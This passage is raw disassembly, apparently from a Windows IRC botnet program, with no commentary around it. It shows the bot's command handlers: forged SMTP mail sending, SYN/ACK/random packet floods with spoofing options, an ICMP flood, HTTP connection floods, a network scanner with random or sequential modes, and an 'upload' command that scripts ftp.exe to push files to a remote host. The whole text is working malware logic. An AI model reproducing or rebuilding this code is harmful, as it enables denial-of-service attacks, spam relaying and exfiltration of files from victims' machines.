Str2 push offset aEmail ; "email" call _strcmp pop ecx test eax, eax pop ecx jnz loc_406D17 push [ebp+Source] ; Source lea eax, [ebp+var_47EC] push eax ; Dest call _strcpy push edi ; Str call _atoi push [ebp+Src] ; Source mov [ebp+Source], eax lea eax, [ebp+var_4188] push eax ; Dest call _strcpy push [ebp+arg_18] ; Source lea eax, [ebp+var_4588] push eax ; Dest call _strcpy push offset asc_42D124 ; " " push offset a_ ; "_" push [ebp+esi+var_7C] ; Src call sub_417EEF push eax ; Source lea eax, [ebp+var_4288] push eax ; Dest call _strcpy add esp, 30h lea eax, [ebp+var_5588] push eax push 101h call dword_4CB5C4 ; WSAStartup lea eax, [ebp+var_47EC] push eax call dword_4CB6D8 ; gethostbyname push 6 push 1 push 2 mov edi, eax call dword_4CB6D4 ; socket push [ebp+Source] mov esi, eax mov [ebp+var_31C], 2 mov eax, [edi+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_318], eax call dword_4CB654 ; htons mov [ebp+var_31A], ax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_4288] push eax lea eax, [ebp+var_4588] push eax lea eax, [ebp+var_4188] push eax lea eax, [ebp+var_5988] push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "... push eax ; Dest call _sprintf add esp, 1Ch lea eax, [ebp+var_31C] push 10h push eax push esi call dword_4CB5FC ; connect mov edi, 100h push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CB66C ; recv lea eax, [ebp+var_4088] push ebx push eax ; Str call _strlen pop ecx push eax lea eax, [ebp+var_5988] push eax push esi call dword_4CB6A4 ; send push ebx lea eax, [ebp+var_4088] push edi push eax push esi call dword_4CB66C ; recv push esi call dword_4CB6EC ; closesocket call dword_4CB5AC ; WSACleanup lea eax, [ebp+var_4588] push eax push offset asc_42B0D4 ; "-" loc_406CD0: ; CODE XREF: sub_401ACD+2E83j ; sub_401ACD+4667j ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf loc_406CDC: ; CODE XREF: sub_401ACD+248Cj add esp, 0Ch loc_406CDF: ; CODE XREF: sub_401ACD+4585j ; sub_401ACD+6654j ... cmp [ebp+var_8], ebx jnz short loc_406D00 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 add esp, 14h loc_406D00: ; CODE XREF: sub_401ACD+29B3j ; sub_401ACD+2A06j ... mov esi, [ebp+File] loc_406D03: ; CODE XREF: sub_401ACD+68F3j ; sub_401ACD+78E3j ... lea eax, [ebp+Dst] push eax call sub_4151AD pop ecx mov eax, esi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_406D17: ; CODE XREF: sub_401ACD+50ADj push [ebp+arg_8] ; Str2 push offset aHttpcon ; "httpcon" call _strcmp pop ecx test eax, eax pop ecx jz short loc_406D41 push [ebp+arg_8] ; Str2 push offset aHcon ; "hcon" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4072E9 loc_406D41: ; CODE XREF: sub_401ACD+525Bj push [ebp+esi+var_7C] ; int push [ebp+arg_18] ; int push [ebp+Src] ; int push edi ; Str call _atoi pop ecx push eax ; int push [ebp+Source] ; int push [ebp+var_8] ; int push [ebp+var_4] ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_4100DC jmp loc_4040AB ; --------------------------------------------------------------------------- loc_406D6F: ; CODE XREF: sub_401ACD+507Fj ; sub_401ACD+5096j push [ebp+Source] ; Format mov esi, 80h lea eax, [ebp+var_1354] push esi ; Count push eax ; Dest call __snprintf lea eax, [ebp+var_1354] push eax ; Str2 push offset aSyn ; "syn" call _strcmp add esp, 14h test eax, eax jz short loc_406DD4 lea eax, [ebp+var_1354] push eax ; Str2 push offset aAck ; "ack" call _strcmp pop ecx test eax, eax pop ecx jz short loc_406DD4 lea eax, [ebp+var_1354] push eax ; Str2 push offset aRandom_0 ; "random" call _strcmp pop ecx test eax, eax pop ecx jz short loc_406DD4 push offset unk_42B08C jmp loc_406F05 ; --------------------------------------------------------------------------- loc_406DD4: ; CODE XREF: sub_401ACD+52CDj ; sub_401ACD+52E4j ... push [ebp+arg_18] ; Str call _atoi cmp eax, ebx pop ecx mov [ebp+var_124C], eax jle loc_406F00 push [ebp+Source] ; Format lea eax, [ebp+var_1354] push esi ; Count push eax ; Dest call __snprintf add esp, 0Ch lea eax, [ebp+var_13D4] push edi ; Format push esi ; Count push eax ; Dest call __snprintf push [ebp+Src] ; Str call _atoi mov [ebp+var_1250], eax add esp, 10h xor eax, eax cmp [ebp+var_8EE], bl push [ebp+Format] ; Format setnz al mov [ebp+var_1248], eax mov eax, [ebp+arg_4] mov [ebp+var_13D8], eax lea eax, [ebp+var_12D4] push esi ; Count push eax ; Dest call __snprintf mov eax, [ebp+var_4] add esp, 0Ch cmp [ebp+var_1248], ebx mov [ebp+var_1244], eax mov eax, [ebp+var_8] mov [ebp+var_1240], eax mov eax, offset aSpoofed ; "Spoofed" jnz short loc_406E71 mov eax, offset aNormal ; "Normal" loc_406E71: ; CODE XREF: sub_401ACD+539Dj push [ebp+arg_18] push [ebp+Src] push edi push [ebp+Source] push eax push offset asc_42B048 ; "-" lea eax, [ebp+Dst] push 200h ; Count push eax ; Dest call __snprintf push ebx ; int lea eax, [ebp+Dst] push 14h ; int push eax ; Source call sub_40B0F7 add esp, 2Ch mov [ebp+var_1254], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_13D8] push ebx push eax push offset sub_413E36 push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_1254] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_406EEF loc_406ED9: ; CODE XREF: sub_401ACD+5420j cmp [ebp+var_123C], ebx jnz loc_40828C push 32h call ds:dword_427078 ; Sleep jmp short loc_406ED9 ; --------------------------------------------------------------------------- loc_406EEF: ; CODE XREF: sub_401ACD+540Aj call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42B010 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_406F00: ; CODE XREF: sub_401ACD+5318j push offset asc_42AFD8 ; "-" loc_406F05: ; CODE XREF: sub_401ACD+2019j ; sub_401ACD+202Fj ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf pop ecx pop ecx jmp loc_40828C ; --------------------------------------------------------------------------- loc_406F18: ; CODE XREF: sub_401ACD+503Aj ; sub_401ACD+5051j ... cmp dword_4CB744, ebx jnz loc_407027 mov eax, [ebp+var_8] push 7Fh ; Count push [ebp+Source] ; Source mov [ebp+var_FF4], eax mov eax, [ebp+var_4] mov [ebp+var_FF8], eax lea eax, [ebp+var_108C] push eax ; Dest call _strncpy push edi ; Str call _atoi push [ebp+Src] ; Str mov [ebp+var_100C], eax call _atoi push [ebp+arg_18] ; Str mov [ebp+var_1008], eax call _atoi push 7Fh ; Count mov [ebp+var_1004], eax push [ebp+Format] ; Source lea eax, [ebp+var_110C] push eax ; Dest call _strncpy mov eax, [ebp+arg_4] add esp, 24h mov [ebp+var_1110], eax lea eax, [ebp+var_108C] push [ebp+var_1004] push [ebp+var_1008] push eax lea eax, [ebp+Dst] push [ebp+var_100C] push offset asc_42AF90 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 16h ; int push eax ; Source call sub_40B0F7 add esp, 24h mov [ebp+var_FFC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1110] push ebx push eax push offset sub_413285 push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_FFC] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_407016 loc_407000: ; CODE XREF: sub_401ACD+5547j cmp [ebp+var_FF0], ebx jnz loc_40828C push 32h call ds:dword_427078 ; Sleep jmp short loc_407000 ; --------------------------------------------------------------------------- loc_407016: ; CODE XREF: sub_401ACD+5531j call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42AF58 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_407027: ; CODE XREF: sub_401ACD+5451j push 1FFh ; Count lea eax, [ebp+Dst] push offset aIcmp_dllNotAva ; "ICMP.dll not available" push eax ; Dest call _strncpy jmp loc_408289 ; --------------------------------------------------------------------------- loc_407042: ; CODE XREF: sub_401ACD+500Cj ; sub_401ACD+5023j push edi lea eax, [ebp+Dst] push [ebp+Source] push [ebp+Src] push offset asc_42AF04 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 push [ebp+Src] ; Str call _strlen mov edx, eax push edi ; Str mov edi, edx call _strlen push [ebp+Source] ; Str add edi, eax call _strlen push [ebp+arg_8] ; Str add edi, eax call _strlen add eax, [ebp+var_C] push [ebp+arg_18] ; SubStr lea eax, [eax+edi+7] push eax ; Str call _strstr add esp, 40h mov [ebp+arg_C], eax push [ebp+Src] ; Str call _atoi mov edi, [ebp+arg_1C] cmp eax, ebx pop ecx mov [ebp+arg_14], eax mov [ebp+arg_20], ebx jle short loc_40713C loc_4070C5: ; CODE XREF: sub_401ACD+561Cj push [ebp+arg_C] ; int push edi ; int push [ebp+Source] ; Source call sub_4185A5 add esp, 0Ch cmp eax, 1 mov [ebp+arg_1C], eax jz short loc_4070ED cmp eax, ebx jnz short loc_40710C inc [ebp+arg_20] mov eax, [ebp+arg_20] cmp eax, [ebp+arg_14] jl short loc_4070C5 jmp short loc_407145 ; --------------------------------------------------------------------------- loc_4070ED: ; CODE XREF: sub_401ACD+560Dj push ebx ; int push [ebp+var_4] ; int push offset unk_42AECC ; int loc_4070F6: ; CODE XREF: sub_401ACD+5681j push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 add esp, 14h jmp loc_4072E9 ; --------------------------------------------------------------------------- loc_40710C: ; CODE XREF: sub_401ACD+5611j push [ebp+arg_1C] lea eax, [ebp+Dst] push offset asc_42AE98 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 add esp, 20h loc_40713C: ; CODE XREF: sub_401ACD+55F6j cmp [ebp+arg_1C], ebx jnz loc_4072E9 loc_407145: ; CODE XREF: sub_401ACD+561Ej push ebx push [ebp+var_4] push offset unk_42AE64 jmp short loc_4070F6 ; --------------------------------------------------------------------------- loc_407150: ; CODE XREF: sub_401ACD+4FC7j ; sub_401ACD+4FDEj ... mov eax, [ebp+var_8] push 7Fh ; Count push [ebp+Source] ; Source mov [ebp+var_C64], eax mov eax, [ebp+var_4] mov [ebp+var_C68], eax lea eax, [ebp+var_CFC] push eax ; Dest call _strncpy push edi ; Str call _atoi push [ebp+Src] ; Str mov [ebp+var_C7C], eax call _atoi push [ebp+arg_18] ; Str mov [ebp+var_C78], eax call _atoi mov esi, [ebp+esi+var_7C] add esp, 18h cmp esi, ebx mov [ebp+var_C74], eax jz short loc_4071B5 push esi ; Str call _atoi pop ecx mov [ebp+var_C70], eax jmp short loc_4071BB ; --------------------------------------------------------------------------- loc_4071B5: ; CODE XREF: sub_401ACD+56D7j mov [ebp+var_C70], ebx loc_4071BB: ; CODE XREF: sub_401ACD+56E6j push 7Fh ; Count lea eax, [ebp+var_D7C] push [ebp+Format] ; Source push eax ; Dest call _strncpy add esp, 0Ch mov esi, [ebp+arg_4] lea eax, [ebp+var_CFC] mov [ebp+var_D80], esi push [ebp+var_C74] push [ebp+var_C78] push eax lea eax, [ebp+Dst] push [ebp+var_C7C] push offset asc_42AE1C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 17h ; int push eax ; Source call sub_40B0F7 add esp, 24h mov [ebp+var_C6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_D80] push ebx push eax push offset sub_413411 push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_C6C] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40725E loc_40724C: ; CODE XREF: sub_401ACD+578Fj cmp [ebp+var_C60], ebx jnz short loc_407279 push 32h call ds:dword_427078 ; Sleep jmp short loc_40724C ; --------------------------------------------------------------------------- loc_40725E: ; CODE XREF: sub_401ACD+577Dj call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset asc_42ADE4 ; "-" loc_40726A: ; CODE XREF: sub_401ACD+4E32j ; sub_401ACD+62BFj ... lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 0Ch loc_407279: ; CODE XREF: sub_401ACD+4E16j ; sub_401ACD+5785j ... cmp [ebp+var_8], ebx jnz loc_4083BD push ebx push [ebp+var_4] loc_407286: ; CODE XREF: sub_401ACD+22DFj lea eax, [ebp+Dst] push eax push [ebp+Format] push esi jmp loc_4082A9 ; --------------------------------------------------------------------------- loc_407299: ; CODE XREF: sub_401ACD+4F99j ; sub_401ACD+4FB0j push 0Bh call sub_40B33F push edi ; Str mov [ebp+arg_1C], eax call _atoi add eax, [ebp+arg_1C] pop ecx pop ecx cmp eax, 1F4h jle loc_407455 push [ebp+arg_1C] lea eax, [ebp+Dst] push offset asc_42ADA4 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 add esp, 20h loc_4072E9: ; CODE XREF: sub_401ACD+526Ej ; sub_401ACD+563Aj ... mov esi, [ebp+esi+var_7C] cmp esi, ebx jz loc_401E94 push [ebp+arg_8] ; Str2 push offset aUpload ; "upload" call _strcmp pop ecx test eax, eax pop ecx jnz loc_409855 push 4 push esi call sub_416909 pop ecx test eax, eax pop ecx jnz short loc_407325 push esi push offset unk_42AD7C jmp loc_408CDC ; --------------------------------------------------------------------------- loc_407325: ; CODE XREF: sub_401ACD+584Bj call ds:dword_4270A8 ; GetTickCount push eax call sub_41B8D8 pop ecx call _rand push 9 cdq pop ecx idiv ecx push edx call _rand push 63h cdq pop ecx idiv ecx push edx call _rand cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_51F8] push edx push eax lea eax, [ebp+Filename] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax ; Dest call _sprintf lea eax, [ebp+Filename] push offset Mode ; "ab" push eax ; Filename call _fopen add esp, 20h cmp eax, ebx mov [ebp+File], eax jz loc_401E94 push esi push [ebp+arg_18] push [ebp+Src] push edi push [ebp+Source] push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax ; File call _fprintf push [ebp+File] ; File call _fclose add esp, 20h lea eax, [ebp+Filename] push eax lea eax, [ebp+var_4CF0] push offset aSS_2 ; "-s:%s" push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+var_4CF0] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4CB5C0 push [ebp+Source] test eax, eax push esi ; Format jz short loc_4073F4 push offset unk_42AD0C jmp short loc_4073F9 ; --------------------------------------------------------------------------- loc_4073F4: ; CODE XREF: sub_401ACD+591Ej push offset asc_42ACDC ; "-" loc_4073F9: ; CODE XREF: sub_401ACD+5925j call _sprintf add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_407422 push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 add esp, 14h loc_407422: ; CODE XREF: sub_401ACD+5937j lea eax, [ebp+Dst] push eax call sub_4151AD loc_40742E: ; CODE XREF: sub_401ACD+5986j lea eax, [ebp+Filename] push 4 push eax call sub_416909 add esp, 0Ch test eax, eax jz loc_401E94 lea eax, [ebp+Filename] push eax call sub_41BDDC jmp short loc_40742E ; --------------------------------------------------------------------------- loc_407455: ; CODE XREF: sub_401ACD+57E6j push [ebp+Source] ; Str call _atoi push edi ; Str mov [ebp+var_370], eax call _atoi push [ebp+Src] ; Str mov [ebp+var_358], eax call _atoi add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_40748E push 5 pop eax mov [ebp+var_36C], eax loc_40748E: ; CODE XREF: sub_401ACD+59B6j push 3Ch pop ecx cmp eax, ecx jbe short loc_40749B mov [ebp+var_36C], ecx loc_40749B: ; CODE XREF: sub_401ACD+59C6j push [ebp+arg_18] ; Str call _atoi mov [ebp+var_368], eax mov eax, 320h cmp [ebp+var_368], eax pop ecx jbe short loc_4074BD mov [ebp+var_368], eax loc_4074BD: ; CODE XREF: sub_401ACD+59E8j or [ebp+var_354], 0FFFFFFFFh cmp dword_431B00, ebx mov [ebp+arg_20], ebx jz short loc_40750C mov edi, offset dword_431B00 loc_4074D4: ; CODE XREF: sub_401ACD+5A21j push [ebp+Source] ; Str2 lea eax, [edi-28h] push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_4074F2 inc [ebp+arg_20] add edi, 40h cmp [edi], ebx jnz short loc_4074D4 jmp short loc_40750C ; --------------------------------------------------------------------------- loc_4074F2: ; CODE XREF: sub_401ACD+5A17j mov eax, [ebp+arg_20] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_431B00[ecx] mov [ebp+var_370], ecx loc_40750C: ; CODE XREF: sub_401ACD+5A00j ; sub_401ACD+5A23j cmp [ebp+var_370], ebx jnz short loc_40751E push offset unk_42ACA8 jmp loc_406F05 ; --------------------------------------------------------------------------- loc_40751E: ; CODE XREF: sub_401ACD+5A45j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+Src], edi jz short loc_407559 cmp byte ptr [edi], 23h jz short loc_407559 push edi ; Format lea eax, [ebp+var_484] push 10h ; Count push eax ; Dest call __snprintf push 78h ; Val push edi ; Str call _strchr add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_407633 ; --------------------------------------------------------------------------- loc_407559: ; CODE XREF: sub_401ACD+5A5Aj ; sub_401ACD+5A5Fj cmp [ebp+var_8FF], bl jnz short loc_40757B cmp [ebp+var_8FE], bl jnz short loc_40757B cmp [ebp+var_8EE], bl jnz short loc_40757B push offset unk_42AC74 jmp loc_406F05 ; --------------------------------------------------------------------------- loc_40757B: ; CODE XREF: sub_401ACD+5A92j ; sub_401ACD+5A9Aj ... push 10h lea eax, [ebp+var_2D0] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D0], edi push [ebp+arg_4] call dword_4CB5F8 ; getsockname mov al, [ebp+var_8FF] push edi ; Args neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] ; Count call dword_4CB6E0 ; inet_ntoa push eax ; Source lea eax, [ebp+var_484] push eax ; Dest call _strncpy add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_40762D xor eax, eax cmp [ebp+var_8FF], bl push 30h ; Ch setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax ; Str call _strrchr pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+File+3], bl jle short loc_407621 loc_4075FF: ; CODE XREF: sub_401ACD+5B52j cmp eax, ebx jz short loc_407621 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h ; Ch push eax ; Str call _strrchr inc byte ptr [ebp+File+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+File+3] cmp ecx, edi jl short loc_4075FF loc_407621: ; CODE XREF: sub_401ACD+5B30j ; sub_401ACD+5B34j mov [ebp+var_344], 1 jmp short loc_407633 ; --------------------------------------------------------------------------- loc_40762D: ; CODE XREF: sub_401ACD+5B0Aj mov [ebp+var_344], ebx loc_407633: ; CODE XREF: sub_401ACD+5A87j ; sub_401ACD+5B5Ej mov eax, [ebp+arg_4] push [ebp+Format] ; Format mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi ; Count push eax ; Dest call __snprintf mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_407684 loc_407671: ; CODE XREF: sub_401ACD+5BDAj push esi ; Format loc_407672: ; CODE XREF: sub_401ACD+5BC4j lea eax, [ebp+var_3F4] push edi ; Count push eax ; Dest call __snprintf add esp, 0Ch jmp short loc_4076AF ; --------------------------------------------------------------------------- loc_407684: ; CODE XREF: sub_401ACD+5BA2j mov eax, [ebp+Src] cmp eax, ebx jz short loc_407693 cmp byte ptr [eax], 23h jnz short loc_407693 push eax jmp short loc_407672 ; --------------------------------------------------------------------------- loc_407693: ; CODE XREF: sub_401ACD+5BBCj ; sub_401ACD+5BC1j mov esi, offset aF ; "#f" push offset byte_43D808 ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_407671 mov [ebp+var_3F4], bl loc_4076AF: ; CODE XREF: sub_401ACD+5BB5j cmp [ebp+var_344], ebx mov eax, offset aRandom ; "Random" jnz short loc_4076C1 mov eax, offset aSequential ; "Sequential" loc_4076C1: ; CODE XREF: sub_401ACD+5BEDj push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+Dst] push offset asc_42AC0C ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 0Bh ; int push eax ; Source call sub_40B0F7 add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset sub_40C33D push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40774F loc_407739: ; CODE XREF: sub_401ACD+5C80j cmp [ebp+var_340], ebx jnz loc_40828C push 32h call ds:dword_427078 ; Sleep jmp short loc_407739 ; --------------------------------------------------------------------------- loc_40774F: ; CODE XREF: sub_401ACD+5C6Aj call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42ABD4 jmp loc_4049EC ; --------------------------------------------------------------------------- loc_407760: ; CODE XREF: sub_401ACD+4F6Bj ; sub_401ACD+4F82j push [ebp+Source] call sub_40AAFA push edi ; Str mov [ebp+var_4E0], eax call _atoi push [ebp+Src] ; Str mov [ebp+var_4F0], eax call _atoi push [ebp+arg_18] ; Str mov [ebp+var_4EC], eax call _atoi mov esi, [ebp+arg_4] push 7Fh ; Count push [ebp+Format] ; Source mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax ; Dest call _strncpy add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4CB6E0 ; inet_ntoa push eax lea eax, [ebp+Dst] push offset asc_42AB84 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 0Bh ; int push eax ; Source call sub_40B0F7 add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset sub_40C75A push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_407855 loc_40783F: ; CODE XREF: sub_401ACD+5D86j cmp [ebp+var_4D0], ebx jnz loc_403DA1 push 32h call ds:dword_427078 ; Sleep jmp short loc_40783F ; --------------------------------------------------------------------------- loc_407855: ; CODE XREF: sub_401ACD+5D70j call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42AB48 jmp loc_403D92 ; --------------------------------------------------------------------------- loc_407866: ; CODE XREF: sub_401ACD+4F2Ej ; sub_401ACD+4F45j push [ebp+Source] ; Str call _atoi imul eax, 234h pop ecx cmp byte_43E5A8[eax], bl jz loc_409855 cmp [ebp+var_C], ebx jz loc_409855 push edi ; Str call _strlen push [ebp+Source] ; Str mov esi, eax call _strlen push [ebp+arg_8] ; Str add esi, eax call _strlen add eax, [ebp+var_C] push [ebp+Src] ; SubStr lea eax, [eax+esi+2] push eax ; Str call _strstr add esp, 14h mov esi, eax lea eax, [ebp+Dst] push esi push offset dword_42AB3C ; Format push eax ; Dest call _sprintf add esp, 0Ch cmp esi, ebx jz loc_409855 push [ebp+Source] ; Str call _atoi test eax, eax pop ecx jle loc_409855 push [ebp+Source] ; Str call _atoi cmp eax, 400h pop ecx jge loc_409855 push ebx ; int lea eax, [ebp+Dst] push ebx ; int push eax ; int push edi ; Str push [ebp+Source] ; Str call _atoi imul eax, 234h pop ecx push dword_43E59C[eax] ; int call sub_409A73 push [ebp+Source] ; Str call _atoi imul eax, 234h add esp, 18h cmp byte ptr dword_43E390[eax], 73h jnz loc_409855 push esi push [ebp+Source] ; Str call _atoi imul eax, 234h pop ecx add eax, offset byte_43E5A8 push eax push edi push offset aSSS ; "[%s] * %s %s" jmp loc_407A36 ; --------------------------------------------------------------------------- loc_40795E: ; CODE XREF: sub_401ACD+4F00j ; sub_401ACD+4F17j push [ebp+Source] ; Str call _atoi imul eax, 234h pop ecx cmp byte_43E5A8[eax], bl jz loc_409855 cmp [ebp+var_C], ebx jz loc_409855 push edi ; Str call _strlen push [ebp+Source] ; Str mov esi, eax call _strlen push [ebp+arg_8] ; Str add esi, eax call _strlen add eax, [ebp+var_C] push [ebp+Src] ; SubStr lea eax, [eax+esi+2] push eax ; Str call _strstr mov esi, eax add esp, 14h cmp esi, ebx jz loc_409855 push [ebp+Source] ; Str call _atoi test eax, eax pop ecx jle loc_409855 push [ebp+Source] ; Str call _atoi cmp eax, 400h pop ecx jge loc_409855 push ebx ; int push ebx ; int push esi ; int push edi ; Str push [ebp+Source] ; Str call _atoi imul eax, 234h pop ecx push dword_43E59C[eax] ; int call sub_409A73 push [ebp+Source] ; Str call _atoi imul eax, 234h add esp, 18h cmp byte ptr dword_43E390[eax], 73h jnz loc_409855 push esi push [ebp+Source] ; Str call _atoi imul eax, 234h pop ecx add eax, offset byte_43E5A8 push eax push edi push offset aSSS_0 ; "[%s] <%s> %s" loc_407A36: ; CODE XREF: sub_401ACD+5E8Cj lea eax, [ebp+Dst] push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push [ebp+var_4] ; int push eax ; int push [ebp+Format] ; Str push [ebp+arg_4] ; int call sub_409A73 add esp, 28h jmp loc_409855 ; --------------------------------------------------------------------------- loc_407A63: ; CODE XREF: sub_401ACD+4ED2j ; sub_401ACD+4EE9j push [ebp+Source] call dword_4CB694 ; inet_addr push edi ; Str mov [ebp+var_680], eax call _atoi push [ebp+Src] ; Str mov [ebp+var_690], eax call _atoi mov esi, [ebp+arg_4] push 7Fh ; Count push [ebp+Format] ; Source mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax ; Dest call _strncpy add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4CB6E0 ; inet_ntoa push eax lea eax, [ebp+Dst] push offset asc_42AAE0 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 0Bh ; int push eax ; Source call sub_40B0F7 add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset sub_40C669 push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_407B45 loc_407B2F: ; CODE XREF: sub_401ACD+6076j cmp [ebp+var_670], ebx jnz loc_403DA1 push 32h call ds:dword_427078 ; Sleep jmp short loc_407B2F ; --------------------------------------------------------------------------- loc_407B45: ; CODE XREF: sub_401ACD+6060j call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42ABD4 jmp loc_403D92 ; --------------------------------------------------------------------------- loc_407B56: ; CODE XREF: sub_401ACD+4EA4j ; sub_401ACD+4EBBj push [ebp+Source] ; Str call _atoi mov [ebp+var_112C], eax push 7Fh ; Count lea eax, [ebp+var_1230] push edi ; Source push eax ; Dest call _strncpy push [ebp+Src] ; Str call _atoi mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_1130], eax lea eax, [ebp+var_11B0] push [ebp+Format] ; Format mov [ebp+var_1238], esi push 80h ; Count push eax ; Dest call __snprintf mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_111C], eax push [ebp+var_1130] lea eax, [ebp+var_1230] mov [ebp+var_1120], edi push eax push [ebp+var_112C] push esi call sub_40AC10 pop ecx push eax lea eax, [ebp+Dst] push offset asc_42AAA4 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 18h ; int push eax ; Source call sub_40B0F7 add esp, 24h mov [ebp+var_1128], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1238] push ebx push eax push offset sub_4103AB push ebx push ebx call ds:dword_42707C ; CreateThread mov ecx, [ebp+var_1128] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_407C42 loc_407C2C: ; CODE XREF: sub_401ACD+6173j cmp [ebp+var_1118], ebx jnz loc_403DA1 push 32h call ds:dword_427078 ; Sleep jmp short loc_407C2C ; --------------------------------------------------------------------------- loc_407C42: ; CODE XREF: sub_401ACD+615Dj call ds:dword_42708C ; RtlGetLastWin32Error push eax push offset unk_42AA60 jmp loc_403D92 ; --------------------------------------------------------------------------- loc_407C53: ; CODE 